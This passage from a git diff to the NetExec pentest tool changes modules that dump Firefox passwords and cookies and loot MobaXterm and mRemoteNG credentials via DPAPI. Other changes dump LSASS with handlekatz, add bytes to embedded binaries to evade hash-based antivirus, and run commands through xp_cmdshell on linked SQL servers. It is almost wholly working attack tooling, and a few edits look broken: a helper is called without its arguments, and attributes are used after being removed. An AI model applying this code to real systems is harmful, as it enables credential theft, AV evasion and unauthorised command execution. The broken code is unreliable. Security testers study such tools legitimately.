run this module on multiple hosts at a time? def options(self, context, module_options): - """Dump credentials from Firefox""" + """COOKIES Get also Firefox cookies""" + self.gather_cookies = "COOKIES" in module_options def on_admin_login(self, context, connection): - host = connection.hostname + "." + connection.domain + host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain domain = connection.domain username = connection.username kerberos = connection.kerberos @@ -41,19 +42,25 @@ class NXCModule: use_kcache=use_kcache, ) + def firefox_callback(secret): + if isinstance(secret, FirefoxData): + url = secret.url + " -" if secret.url != "" else "-" + context.log.highlight(f"[{secret.winuser}] {url} {secret.username}:{secret.password}") + context.db.add_dpapi_secrets( + target.address, + "FIREFOX", + secret.winuser, + secret.username, + secret.password, + secret.url, + ) + elif isinstance(secret, FirefoxCookie): + context.log.highlight(f"[{secret.winuser}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}") + try: # Collect Firefox stored secrets - firefox_triage = FirefoxTriage(target=target, logger=context.log) + firefox_triage = FirefoxTriage(target=target, logger=context.log, per_secret_callback=firefox_callback) firefox_triage.upgrade_connection(connection=connection.conn) - firefox_credentials = firefox_triage.run() - for credential in firefox_credentials: - context.log.highlight( - "[{}][FIREFOX] {} {}:{}".format( - credential.winuser, - credential.url + " -" if credential.url != "" else "-", - credential.username, - credential.password, - ) - ) + firefox_triage.run(gather_cookies=self.gather_cookies) except Exception as e: context.log.debug(f"Error while looting firefox: {e}") diff --git a/nxc/modules/get-desc-users.py b/nxc/modules/get-desc-users.py index 31c76816..17ab95ea 100644 --- a/nxc/modules/get-desc-users.py +++ b/nxc/modules/get-desc-users.py @@ -40,7 +40,7 @@ class NXCModule: try: context.log.debug(f"Search Filter={searchFilter}") - resp = connection.ldapConnection.search( + resp = connection.ldap_connection.search( searchFilter=searchFilter, attributes=["sAMAccountName", "description"], sizeLimit=0, diff --git a/nxc/modules/get-network.py b/nxc/modules/get-network.py index 4579815d..732acd2c 100644 --- a/nxc/modules/get-network.py +++ b/nxc/modules/get-network.py @@ -121,7 +121,7 @@ class NXCModule: sfilter = "(DC=*)" try: - list_sites = connection.ldapConnection.search( + list_sites = connection.ldap_connection.search( searchBase=search_target, searchFilter=sfilter, attributes=["dnsRecord", "dNSTombstoned", "name"], diff --git a/nxc/modules/get-unixUserPassword.py b/nxc/modules/get-unixUserPassword.py index 46e26f9e..fbf88a99 100644 --- a/nxc/modules/get-unixUserPassword.py +++ b/nxc/modules/get-unixUserPassword.py @@ -24,7 +24,7 @@ class NXCModule: try: context.log.debug(f"Search Filter={searchFilter}") - resp = connection.ldapConnection.search( + resp = connection.ldap_connection.search( searchFilter=searchFilter, attributes=["sAMAccountName", "unixUserPassword"], sizeLimit=0, diff --git a/nxc/modules/get-userPassword.py b/nxc/modules/get-userPassword.py index 182fce30..2888941e 100644 --- a/nxc/modules/get-userPassword.py +++ b/nxc/modules/get-userPassword.py @@ -24,7 +24,7 @@ class NXCModule: try: context.log.debug(f"Search Filter={searchFilter}") - resp = connection.ldapConnection.search( + resp = connection.ldap_connection.search( searchFilter=searchFilter, attributes=["sAMAccountName", "userPassword"], sizeLimit=0, diff --git a/nxc/modules/group-mem.py b/nxc/modules/group-mem.py index 28b81198..f9464ee3 100644 --- a/nxc/modules/group-mem.py +++ b/nxc/modules/group-mem.py @@ -68,7 +68,7 @@ class NXCModule: def do_search(self, context, connection, searchFilter, attributeName): try: context.log.debug(f"Search Filter={searchFilter}") - resp = connection.ldapConnection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0) + resp = connection.ldap_connection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0) context.log.debug(f"Total number of records returned {len(resp)}") for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: diff --git a/nxc/modules/groupmembership.py b/nxc/modules/groupmembership.py index c8f9d255..ce9000d0 100644 --- a/nxc/modules/groupmembership.py +++ b/nxc/modules/groupmembership.py @@ -37,7 +37,7 @@ class NXCModule: try: context.log.debug(f"Search Filter={searchFilter}") - resp = connection.ldapConnection.search( + resp = connection.ldap_connection.search( searchFilter=searchFilter, attributes=["memberOf", "primaryGroupID"], sizeLimit=0, diff --git a/nxc/modules/handlekatz.py b/nxc/modules/handlekatz.py index 7aa7ab7c..ba598caf 100644 --- a/nxc/modules/handlekatz.py +++ b/nxc/modules/handlekatz.py @@ -5,7 +5,7 @@ import base64 import re import sys - +from datetime import datetime from nxc.helpers.bloodhound import add_user_bh from pypykatz.pypykatz import pypykatz @@ -34,6 +34,8 @@ class NXCModule: self.handlekatz_path = "/tmp/" self.dir_result = self.handlekatz_path self.useembeded = True + # Add some random binary data to defeat AVs which check the file hash + self.handlekatz_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode() if "HANDLEKATZ_PATH" in module_options: self.handlekatz_path = module_options["HANDLEKATZ_PATH"] @@ -50,7 +52,7 @@ class NXCModule: def on_admin_login(self, context, connection): handlekatz_loc = self.handlekatz_path + self.handlekatz - + if self.useembeded: try: with open(handlekatz_loc, "wb") as handlekatz: @@ -78,6 +80,7 @@ class NXCModule: if not p or p == "None": context.log.fail("Failed to execute command to get LSASS PID") + self.delete_handlekatz_binary(connection, context) return # we get a CSV string back from `tasklist`, so we grab the PID from it pid = p.split(",")[1][1:-1] @@ -96,12 +99,15 @@ class NXCModule: context.log.fail("Process lsass.exe error un dump, try with verbose") dump = False - if dump: + if not dump: + self.delete_handlekatz_binary(connection, context) + return + else: regex = r"([A-Za-z0-9-]*\.log)" matches = re.search(regex, str(p), re.MULTILINE) if not matches: context.log.display("Error getting the lsass.dmp file name") - sys.exit(1) + return machine_name = matches.group() context.log.display(f"Copy {machine_name} to host") @@ -113,12 +119,7 @@ class NXCModule: except Exception as e: context.log.fail(f"Error while get file: {e}") - try: - connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz) - context.log.success(f"Deleted handlekatz file on the {self.share} share") - except Exception as e: - context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}") - + self.delete_handlekatz_binary() try: connection.conn.deleteFile(self.share, self.tmp_share + machine_name) context.log.success(f"Deleted lsass.dmp file on the {self.share} share") @@ -182,3 +183,10 @@ class NXCModule: add_user_bh(credz_bh, None, context.log, connection.config) except Exception as e: context.log.fail(f"Error opening dump file: {e}") + + def delete_handlekatz_binary(self, connection, context): + try: + connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz) + context.log.success(f"Deleted handlekatz file on the {self.share} share") + except Exception as e: + context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}") diff --git a/nxc/modules/impersonate.py b/nxc/modules/impersonate.py index 210a8225..15dbfe5a 100644 --- a/nxc/modules/impersonate.py +++ b/nxc/modules/impersonate.py @@ -6,7 +6,7 @@ from base64 import b64decode from os import path import sys - +from datetime import datetime from nxc.paths import DATA_PATH @@ -29,8 +29,13 @@ class NXCModule: self.impersonate = "Impersonate.exe" self.useembeded = True self.token = self.cmd = "" + with open(path.join(DATA_PATH, ("impersonate_module/impersonate.bs64"))) as impersonate_file: self.impersonate_embedded = b64decode(impersonate_file.read()) + + # Add some random binary data to defeat AVs which check the file hash + self.impersonate_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode() + if "EXEC" in module_options: self.cmd = module_options["EXEC"] diff --git a/nxc/modules/ioxidresolver.py b/nxc/modules/ioxidresolver.py index 691925c5..e4d45b40 100644 --- a/nxc/modules/ioxidresolver.py +++ b/nxc/modules/ioxidresolver.py @@ -17,7 +17,8 @@ class NXCModule: multiple_hosts = True def options(self, context, module_options): - """No module options""" + """DIFFERENT show only ip address if different from target ip (Default: False)""" + self.pivot = module_options.get("DIFFERENT", "false").lower() in ["true", "1"] def on_login(self, context, connection): try: @@ -37,7 +38,11 @@ class NXCModule: NetworkAddr = binding["aNetworkAddr"] try: ip_address(NetworkAddr[:-1]) - context.log.highlight(f"Address: {NetworkAddr}") + if self.pivot: + if NetworkAddr.rstrip("\x00") != connection.host: + context.log.highlight(f"Address: {NetworkAddr}") + else: + context.log.highlight(f"Address: {NetworkAddr}") except Exception as e: context.log.debug(e) except DCERPCException as e: diff --git a/nxc/modules/ldap-checker.py b/nxc/modules/ldap-checker.py index 152f3a0d..59e9550a 100644 --- a/nxc/modules/ldap-checker.py +++ b/nxc/modules/ldap-checker.py @@ -1,6 +1,8 @@ import socket import ssl import asyncio +import hashlib +import random from msldap.connection import MSLDAPClientConnection from msldap.commons.target import MSLDAPTarget @@ -10,19 +12,18 @@ from asyauth.common.credentials.ntlm import NTLMCredential from asyauth.common.credentials.kerberos import KerberosCredential from asysocks.unicomm.common.target import UniTarget, UniProto -import sys +import contextlib class NXCModule: """ - Checks whether LDAP signing and channelbinding are required. + Checks whether LDAP signing and LDAPS channel binding are required and/or enforced. - Module by LuemmelSec (@theluemmel), updated by @zblurx + Module by LuemmelSec (@theluemmel), updated by @zblurx/@Mercury0 Original work thankfully taken from @zyn3rgy's Ldap Relay Scan project: https://github.com/zyn3rgy/LdapRelayScan """ - name = "ldap-checker" - description = "Checks whether LDAP signing and binding are required and / or enforced" + description = "Checks whether LDAP signing and channel binding are required and / or enforced" supported_protocols = ["ldap"] opsec_safe = True multiple_hosts = True @@ -30,173 +31,229 @@ class NXCModule: def options(self, context, module_options): """No options available.""" - def on_login(self, context, connection): - # Conduct a bind to LDAPS and determine if channel - # binding is enforced based on the contents of potential - # errors returned. This can be determined unauthenticated, - # because the error indicating channel binding enforcement - # will be returned regardless of a successful LDAPS bind. - async def run_ldaps_noEPA(target, credential): - ldapsClientConn = MSLDAPClientConnection(target, credential) - _, err = await ldapsClientConn.connect() - - # Required step to try to bind without channel binding - ldapsClientConn.cb_data = None - - if err is not None: - context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err)) - sys.exit() - - valid, err = await ldapsClientConn.bind() - if "data 80090346" in str(err): - return True # channel binding IS enforced - elif "data 52e" in str(err): - return False # channel binding not enforced - elif err is None: - # LDAPS bind successful - # because channel binding is not enforced - return False - - # Conduct a bind to LDAPS with channel binding supported - # but intentionally miscalculated. In the case that and - # LDAPS bind has without channel binding supported has occurred, - # you can determine whether the policy is set to "never" or - # if it's set to "when supported" based on the potential - # error received from the bind attempt. - async def run_ldaps_withEPA(target, credential): - ldapsClientConn = MSLDAPClientConnection(target, credential) - _, err = await ldapsClientConn.connect() - if err is not None: - context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err)) - sys.exit() - # forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message - ldapsClientConn.cb_data = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - _, err = await ldapsClientConn.bind() - if "data 80090346" in str(err): - return True - elif "data 52e" in str(err): - return False - elif err is not None: - context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err)) - elif err is None: - return False - - # Domain Controllers do not have a certificate setup for - # LDAPS on port 636 by default. If this has not been setup, - # the TLS handshake will hang and you will not be able to - # interact with LDAPS. The condition for the certificate - # existing as it should is either an error regarding - # the fact that the certificate is self-signed, or - # no error at all. Any other "successful" edge cases - # not yet accounted for. - def DoesLdapsCompleteHandshake(dcIp): - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.settimeout(5) - ssl_context = ssl.create_default_context() - ssl_context.check_hostname = False - ssl_sock = ssl_context.wrap_socket( - s, - do_handshake_on_connect=False, - suppress_ragged_eofs=False, - ) - try: - ssl_sock.connect((dcIp, 636)) - ssl_sock.do_handshake() - ssl_sock.close() - return True - except Exception as e: - if "CERTIFICATE_VERIFY_FAILED" in str(e): - ssl_sock.close() - return True - if "handshake operation timed out" in str(e): - ssl_sock.close() - return False - else: - context.log.fail("Unexpected error during LDAPS handshake: " + str(e)) - ssl_sock.close() - return False - - # Conduct and LDAP bind and determine if server signing - # requirements are enforced based on potential errors - # during the bind attempt. - async def run_ldap(target, credential): - try: - ldapsClientConn = MSLDAPClientConnection(target, credential) - ldapsClientConn._disable_signing = True - _, err = await ldapsClientConn.connect() - if err is not None: - context.log.fail(str(err)) - return None - - _, err = await ldapsClientConn.bind() - if err is not None: - errstr = str(err).lower() - if "stronger" in errstr: - return True - # because LDAP server signing requirements ARE enforced - else: - context.log.fail(str(err)) - else: - # LDAPS bind successful - return False - # because LDAP server signing requirements are not enforced - except Exception as e: - context.log.debug(str(e)) + # Conduct a bind to LDAPS and determine if channel + # binding is enforced based on the contents of potential + # errors returned. This can be determined unauthenticated, + # because the error indicating channel binding enforcement + # will be returned regardless of a successful LDAPS bind. + async def run_ldaps_noEPA(self, context, connection, target, credential): + try: + client = MSLDAPClientConnection(target, credential) + _, err = await client.connect() + if err: + context.log.debug(f"Error connecting to {connection.domain}: {err}") return None - - # Run trough all our code blocks to determine LDAP signing and channel binding settings. - stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT - secret = connection.password if not connection.nthash else connection.nthash - if not connection.kerberos: - credential = NTLMCredential( - secret=secret, - username=connection.username, - domain=connection.domain, - stype=stype, - ) - else: - kerberos_target = UniTarget( - connection.host, - 88, - UniProto.CLIENT_TCP, - hostname=connection.remoteName, - dc_ip=connection.kdcHost, - domain=connection.domain, - proxies=None, - dns=None, - ) - credential = KerberosCredential( - target=kerberos_target, - secret=secret, - username=connection.username, - domain=connection.domain, - stype=stype, - ) - - target = MSLDAPTarget(connection.host, 389, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost) - ldapIsProtected = asyncio.run(run_ldap(target, credential)) - if ldapIsProtected is False: - context.log.highlight("LDAP Signing NOT Enforced!") - elif ldapIsProtected is True: - context.log.fail("LDAP Signing IS Enforced") - else: - context.log.fail("Connection fail, exiting now") - sys.exit() - - if DoesLdapsCompleteHandshake(connection.host) is True: - target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost) - ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential)) - target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost) - ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential)) - if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True: - context.log.highlight('LDAPS Channel Binding is set to "When Supported"') - elif ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is False: - context.log.highlight('LDAPS Channel Binding is set to "NEVER"') - elif ldapsChannelBindingAlwaysCheck is True: - context.log.fail('LDAPS Channel Binding is set to "Required"') + client.cb_data = None + _, err = await client.bind() + if err and "data 80090346" in str(err): + return True # -> channel binding IS enforced + elif err and "data 52e" in str(err): + return False # -> channel binding not enforced + elif err is None: + return False # LDAPS bind successful -> channel binding not enforced else: - context.log.fail("\nSomething went wrong...") - sys.exit() + context.log.debug(f"Unexpected error during LDAPS bind (noEPA): {err}") + return None + except Exception as e: + context.log.debug(f"Exception in run_ldaps_noEPA: {e}") + return None + finally: + with contextlib.suppress(Exception): + await client.disconnect() + + # Conduct a bind to LDAPS with channel binding supported + # but intentionally miscalculated. In the case that an + # LDAPS bind without channel binding supported has occurred, + # you can determine whether the policy is set to "never" or + # if it's set to "when supported" based on the potential + # error received from the bind attempt. + async def run_ldaps_withEPA(self, context, connection, target, credential): + try: + client = MSLDAPClientConnection(target, credential) + _, err = await client.connect() + if err: + context.log.fail(f"Error connecting to {connection.domain}: {err}") + return None + + try: + context.log.debug("Retrieving TLS certificate hash...") + ssl_context = ssl.create_default_context() + ssl_context.check_hostname = False + ssl_context.verify_mode = ssl.CERT_NONE + + with socket.create_connection((connection.host, 636)) as sock, ssl_context.wrap_socket(sock, server_hostname=connection.host) as ssl_sock: + cert = ssl_sock.getpeercert(binary_form=True) + + if cert: + cert_hash = hashlib.sha256(cert).digest() + context.log.debug(f"Original certificate hash: {cert_hash.hex()}") + pos = random.randint(0, len(cert_hash) - 1) + tampered_bytes = bytearray(cert_hash) + tampered_bytes[pos] = (tampered_bytes[pos] + 1) % 256 + context.log.debug(f"Tampered certificate hash: {bytes(tampered_bytes).hex()}") + context.log.debug(f"Modified byte at position {pos}") + client.cb_data = b"tls-server-end-point:" + bytes(tampered_bytes) + else: + client.cb_data = b"\x00" * 64 + except Exception as e: + context.log.debug(f"Failed to retrieve TLS certificate hash: {e}") + client.cb_data = b"\x00" * 64 + + _, err = await client.bind() + if err and "data 80090346" in str(err): + return True + elif (err and "data 52e" in str(err)) or err is None: + return False + else: + context.log.fail(f"Unexpected error during LDAPS bind (withEPA): {err}") + return None + except Exception as e: + context.log.fail(f"Exception in run_ldaps_withEPA: {e}") + return None + + + # Domain Controllers do not have a certificate setup for + # LDAPS on port 636 by default. If this has not been setup, + # the TLS handshake will hang and you will not be able to + # interact with LDAPS. The condition for the certificate + # existing as it should is either an error regarding + # the fact that the certificate is self-signed, or + # no error at all. Any other "successful" edge cases + # not yet accounted for. + def does_ldaps_complete_handshake(self, context, dc_ip): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(5) + ssl_context = ssl.create_default_context() + ssl_context.check_hostname = False + ssl_sock = ssl_context.wrap_socket(s, do_handshake_on_connect=False, suppress_ragged_eofs=False) + try: + ssl_sock.connect((dc_ip, 636)) + ssl_sock.do_handshake() + return True + except Exception as e: + if "CERTIFICATE_VERIFY_FAILED" in str(e): + return True + elif "handshake operation timed out" in str(e): + return False + else: + context.log.fail(f"Unexpected error during LDAPS handshake: {e}") + return False + finally: + ssl_sock.close() + + # Conduct an LDAP bind and determine if server signing + # requirements are enforced based on potential errors + # during the bind attempt. + async def run_ldap(self, context, target, credential): + try: + client = MSLDAPClientConnection(target, credential) + client._disable_signing = True # deliberately disable LDAP signing on client connection + _, err = await client.connect() + if err: + context.log.fail(f"Error connecting for LDAP bind: {err}") + return None + + _, err = await client.bind() + if err: + errstr = str(err).lower() + if "stronger" in errstr: + return True + # because LDAP server signing requirements ARE enforced + else: + context.log.fail(f"LDAP bind error: {err}") + return None + else: + # LDAPS bind successful + return False + # because LDAP server signing requirements are not enforced + except Exception as e: + context.log.debug(f"Exception during LDAP bind: {e}") + return None + + # Determine authentication context and proceed to + # enumerate LDAP signing and channel binding settings + def on_login(self, context, connection): + stype = asyauthSecret.PASS + secret = connection.password + if connection.nthash: + stype = asyauthSecret.NT + secret = connection.nthash + if connection.aesKey: + stype = asyauthSecret.AES + secret = connection.aesKey + + anon_credential = NTLMCredential( + secret="", + username="", + domain=connection.domain, + stype=asyauthSecret.PASS + ) + + if not connection.username and not secret: + context.log.highlight("No credentials provided, skipping LDAP signing check") + credential = anon_credential else: - context.log.fail(connection.domain + " - cannot complete TLS handshake, cert likely not configured") + if not connection.kerberos: + credential = NTLMCredential( + secret=secret, + username=connection.username, + domain=connection.domain, + stype=stype + ) + else: + kerberos_target = UniTarget( + connection.host, + 88, + UniProto.CLIENT_TCP, + hostname=connection.remoteName, + dc_ip=connection.kdcHost, + domain=connection.domain, + proxies=None, + dns=None, + ) + credential = KerberosCredential( + target=kerberos_target, + secret=secret, + username=connection.username, + domain=connection.domain, + stype=stype, + ) + + ldap_signing_status = None + if connection.username or secret: + target = MSLDAPTarget( + connection.host, 389, + hostname=connection.remoteName, + domain=connection.domain, + dc_ip=connection.kdcHost, + ) + ldap_signing_status = asyncio.run(self.run_ldap(context, target, credential)) + if ldap_signing_status is True: + context.log.highlight("LDAP signing IS enforced") + elif ldap_signing_status is False: + context.log.highlight("LDAP signing NOT enforced") + else: + context.log.fail("Could not determine LDAP signing requirement.") + + if self.does_ldaps_complete_handshake(context, connection.host): + target = MSLDAPTarget( + connection.host, 636, + UniProto.CLIENT_SSL_TCP, + hostname=connection.remoteName, + domain=connection.domain, + dc_ip=connection.kdcHost, + ) + ldaps_noEPA = asyncio.run(self.run_ldaps_noEPA(context, connection, target, anon_credential)) + ldaps_withEPA = asyncio.run(self.run_ldaps_withEPA(context, connection, target, anon_credential)) + + if ldaps_noEPA is False and ldaps_withEPA is True: + context.log.highlight("LDAPS channel binding is set to: When Supported") + elif ldaps_noEPA is False and ldaps_withEPA is False: + context.log.highlight("LDAPS channel binding is set to: Never") + elif ldaps_noEPA is True: + context.log.highlight("LDAPS channel binding is set to: Required") + else: + context.log.fail("Could not determine LDAPS channel binding settings") + else: + context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured") \ No newline at end of file diff --git a/nxc/modules/link_enable_xp.py b/nxc/modules/link_enable_xp.py new file mode 100644 index 00000000..028170ac --- /dev/null +++ b/nxc/modules/link_enable_xp.py @@ -0,0 +1,63 @@ +class NXCModule: + """ + Enable or disable xp_cmdshell on a linked SQL server + Module by deathflamingo + """ + + name = "link_enable_xp" + description = "Enable or disable xp_cmdshell on a linked SQL server" + supported_protocols = ["mssql"] + opsec_safe = False + multiple_hosts = False + + def __init__(self): + self.action = None + self.linked_server = None + + def options(self, context, module_options): + """ + Defines the options for enabling or disabling xp_cmdshell on the linked server. + ACTION Specifies whether to enable or disable: + - enable (default) + - disable + LINKED_SERVER The name of the linked SQL server to target. + """ + self.action = module_options.get("ACTION", "enable") + self.linked_server = module_options.get("LINKED_SERVER") + + def on_login(self, context, connection): + self.context = context + self.mssql_conn = connection.conn + if not self.linked_server: + self.context.log.fail("Please provide a linked server name using the LINKED_SERVER option.") + return + + # Enable or disable xp_cmdshell based on action + if self.action == "enable": + self.enable_xp_cmdshell() + elif self.action == "disable": + self.disable_xp_cmdshell() + else: + self.context.log.fail(f"Unknown action: {self.action}") + + def enable_xp_cmdshell(self): + """Enable xp_cmdshell on the linked server.""" + query = f"EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [{self.linked_server}]" + self.context.log.display(f"Enabling advanced options on {self.linked_server}...") + out = self.query_and_get_output(query) + query = f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]" + self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}...") + out = self.query_and_get_output(query) + self.context.log.display(out) + self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}") + + def disable_xp_cmdshell(self): + """Disable xp_cmdshell on the linked server.""" + query = f"EXEC ('sp_configure ''xp_cmdshell'', 0; RECONFIGURE; sp_configure ''show advanced options'', 0; RECONFIGURE;') AT [{self.linked_server}]" + self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}...") + self.query_and_get_output(query) + self.context.log.success(f"xp_cmdshell disabled on {self.linked_server}") + + def query_and_get_output(self, query): + """Executes a query and returns the output.""" + return self.mssql_conn.sql_query(query) diff --git a/nxc/modules/link_xpcmd.py b/nxc/modules/link_xpcmd.py new file mode 100644 index 00000000..1376a143 --- /dev/null +++ b/nxc/modules/link_xpcmd.py @@ -0,0 +1,44 @@ +class NXCModule: + """ + Run xp_cmdshell commands on a linked SQL server + Module by deathflamingo + """ + + name = "link_xpcmd" + description = "Run xp_cmdshell commands on a linked SQL server" + supported_protocols = ["mssql"] + opsec_safe = False + multiple_hosts = False + + def __init__(self): + self.linked_server = None + self.command = None + + def options(self, context, module_options): + """ + Defines the options for running xp_cmdshell commands on a linked server. + LINKED_SERVER The name of the linked SQL server to target. + CMD The command to run via xp_cmdshell. + """ + self.linked_server = module_options.get("LINKED_SERVER") + self.command = module_options.get("CMD") + + def on_login(self, context, connection): + self.context = context + self.mssql_conn = connection.conn + if not self.linked_server or not self.command: + self.context.log.fail("Please provide both LINKED_SERVER and CMD options.") + return + + self.run_xp_cmdshell(self.command) + + def run_xp_cmdshell(self, cmd): + """Run the specified command via xp_cmdshell on the linked server.""" + query = f"EXEC ('xp_cmdshell ''{cmd}''') AT [{self.linked_server}]" + self.context.log.display(f"Running command on {self.linked_server}: {cmd}") + result = self.query_and_get_output(query) + self.context.log.success(f"Command output:\n{result}") + + def query_and_get_output(self, query): + """Executes a query and returns the output.""" + return self.mssql_conn.sql_query(query) diff --git a/nxc/modules/mobaxterm.py b/nxc/modules/mobaxterm.py index 0ce6012d..de479803 100644 --- a/nxc/modules/mobaxterm.py +++ b/nxc/modules/mobaxterm.py @@ -1,10 +1,8 @@ -from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file -from dploot.triage.backupkey import BackupkeyTriage from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword from dploot.lib.target import Target -from dploot.lib.smb import DPLootSMBConnection from nxc.helpers.logger import highlight +from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection class NXCModule: @@ -15,99 +13,34 @@ class NXCModule: multiple_hosts = True def options(self, context, module_options): - """ - PVK Domain backup key file - MKFILE File with masterkeys in form of {GUID}:SHA1 - """ - self.pvkbytes = None - self.masterkeys = None - self.conn = None - self.target = None - - if "PVK" in module_options: - self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115 - - if "MKFILE" in module_options: - self.masterkeys = parse_masterkey_file(module_options["MKFILE"]) - self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115 + """ """ def on_admin_login(self, context, connection): - host = connection.hostname + "." + connection.domain - domain = connection.domain username = connection.username - kerberos = connection.kerberos - aesKey = connection.aesKey - use_kcache = getattr(connection, "use_kcache", False) password = getattr(connection, "password", "") - lmhash = getattr(connection, "lmhash", "") nthash = getattr(connection, "nthash", "") - if self.pvkbytes is None: - try: - dc = Target.create( - domain=domain, - username=username, - password=password, - target=domain, - lmhash=lmhash, - nthash=nthash, - do_kerberos=kerberos, - aesKey=aesKey, - no_pass=True, - use_kcache=use_kcache, - ) + self.pvkbytes = get_domain_backup_key(connection) - dc_conn = DPLootSMBConnection(dc) - dc_conn.connect() - - if dc_conn.is_admin: - context.log.success("User is Domain Administrator, exporting domain backupkey...") - backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn) - backupkey = backupkey_triage.triage_backupkey() - self.pvkbytes = backupkey.backupkey_v2 - except Exception as e: - context.log.debug(f"Could not get domain backupkey: {e}") - - self.target = Target.create( - domain=domain, + target = Target.create( + domain=connection.domain, username=username, password=password, - target=host, - lmhash=lmhash, + target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, + lmhash=getattr(connection, "lmhash", ""), nthash=nthash, - do_kerberos=kerberos, - aesKey=aesKey, + do_kerberos=connection.kerberos, + aesKey=connection.aesKey, no_pass=True, - use_kcache=use_kcache, + use_kcache=getattr(connection, "use_kcache", False), ) - - try: - self.conn = DPLootSMBConnection(self.target) - self.conn.smb_session = connection.conn - except Exception as e: - context.log.debug(f"Could not upgrade connection: {e}") + + conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) + if conn is None: + context.log.debug("Could not upgrade connection") return - plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")} - nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")} - if password != "": - plaintexts[username] = password - if nthash != "": - nthashes[username] = nthash - - if self.masterkeys is None: - try: - masterkeys_triage = MasterkeysTriage( - target=self.target, - conn=self.conn, - pvkbytes=self.pvkbytes, - passwords=plaintexts, - nthashes=nthashes, - dpapiSystem={}, - ) - self.masterkeys = masterkeys_triage.triage_masterkeys() - except Exception as e: - context.log.debug(f"Could not get masterkeys: {e}") + self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False) if len(self.masterkeys) == 0: context.log.fail("No masterkeys looted") @@ -115,14 +48,15 @@ class NXCModule: context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets") + def mobaxterm_callback(credential): + if isinstance(credential, MobaXtermCredential): + log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1")) + elif isinstance(credential, MobaXtermPassword): + log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1")) + context.log.highlight(f"[{credential.winuser}] {log_text}") + try: triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys) - _, credentials = triage.triage_mobaxterm() - for credential in credentials: - if isinstance(credential, MobaXtermCredential): - log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1")) - elif isinstance(credential, MobaXtermPassword): - log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1")) - context.log.highlight(f"[{credential.winuser}] {log_text}") + triage.triage_mobaxterm() except Exception as e: context.log.debug(f"Could not loot MobaXterm secrets: {e}") diff --git a/nxc/modules/mremoteng.py b/nxc/modules/mremoteng.py index 968f0c02..875fbb73 100644 --- a/nxc/modules/mremoteng.py +++ b/nxc/modules/mremoteng.py @@ -1,5 +1,4 @@ import ntpath -from dploot.lib.smb import DPLootSMBConnection from dploot.lib.target import Target from Cryptodome.Cipher import AES from lxml import objectify @@ -7,6 +6,8 @@ from base64 import b64decode import hashlib from dataclasses import dataclass +from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection + @dataclass class MRemoteNgEncryptionAttributes: @@ -94,7 +95,10 @@ class NXCModule: use_kcache=use_kcache, ) - dploot_conn = self.upgrade_connection(target=target, connection=connection.conn) + dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) + if dploot_conn is None: + context.log.debug("Could not upgrade connection") + return # 2. Dump users list users = self.get_users(dploot_conn) @@ -116,14 +120,6 @@ class NXCModule: if content is not None: self.context.log.info(f"Found 